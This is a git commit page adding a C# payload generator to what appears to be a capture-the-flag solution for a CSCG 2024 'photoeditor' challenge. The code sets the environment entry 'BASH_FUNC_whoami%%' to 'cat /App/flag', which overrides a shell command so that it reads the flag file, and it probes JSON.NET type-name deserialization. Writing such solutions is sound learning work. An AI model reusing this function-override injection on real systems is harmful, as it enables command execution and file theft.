diff options
| author | Louis Burda <quent.burda@gmail.com> | 2024-04-19 00:55:07 +0200 |
|---|---|---|
| committer | Louis Burda <quent.burda@gmail.com> | 2024-04-19 00:55:07 +0200 |
| commit | ebb26ae709570a84004c27f34e9307c33ac6b000 (patch) | |
| tree | ba83f56ec65986cab387c97b771cd0a26e566c60 /solve/Generator/Program.cs | |
| parent | 84e77e74c8d69b33a25938a46700b67a3e835c88 (diff) | |
| download | cscg24-photoeditor-master.tar.gz cscg24-photoeditor-master.zip | |
Diffstat (limited to 'solve/Generator/Program.cs')
| -rw-r--r-- | solve/Generator/Program.cs | 42 |
1 files changed, 42 insertions, 0 deletions
diff --git a/solve/Generator/Program.cs b/solve/Generator/Program.cs new file mode 100644 index 0000000..22879c1 --- /dev/null +++ b/solve/Generator/Program.cs @@ -0,0 +1,42 @@ +using Newtonsoft.Json; + +namespace Program { + +class Program { +static Type GetTypeByName(String name) {
+ return AppDomain.CurrentDomain.GetAssemblies()
+ .Reverse()
+ .Select(assembly => assembly.GetType(name))
+ .FirstOrDefault(t => t != null);
+} + +public String testfn(Dictionary<String,String> ina) { + Console.WriteLine(this); + return "Testing"; +} + +static void Main(String[] args) { +// See https://aka.ms/new-console-template for more information + var env = new Dictionary<String, String>(); + env.Add("BASH_FUNC_whoami%%", "cat /App/flag"); + String serialized = JsonConvert.SerializeObject(env); + Console.WriteLine(">",GetTypeByName("System.Collections.Generic.Dictionary`2[System.String,System.String]")); + Console.WriteLine(">",GetTypeByName("System.Collections.Generic.Dictionary[System.String, System.String]")); + Console.WriteLine(">",GetTypeByName("Dictionary<String,String>")); + Console.WriteLine(">",GetTypeByName("System.Collections.Generic.Dictionary")); + Console.WriteLine(">",GetTypeByName("System.Collections.Generic.Dictionary<System.String,System.String>")); + Console.WriteLine(">",AppDomain.CurrentDomain.GetAssemblies().ToString()); + var test = JsonConvert.DeserializeObject(serialized, GetTypeByName("System.Collections.Generic.Dictionary")); + var array = "[" + test + "]"; + var test2 = JsonConvert.DeserializeObject<object[]>(array); + var test3 = JsonConvert.DeserializeObject(JsonConvert.SerializeObject(test2), GetTypeByName("Dictionary<String, String>")); + + var program = new Program(); + program.GetType().GetMethod("testfn").Invoke(program, [test]); + Console.WriteLine(test); + Console.WriteLine(test2); + Console.WriteLine(test3); + Console.WriteLine(serialized); +} +} +} |
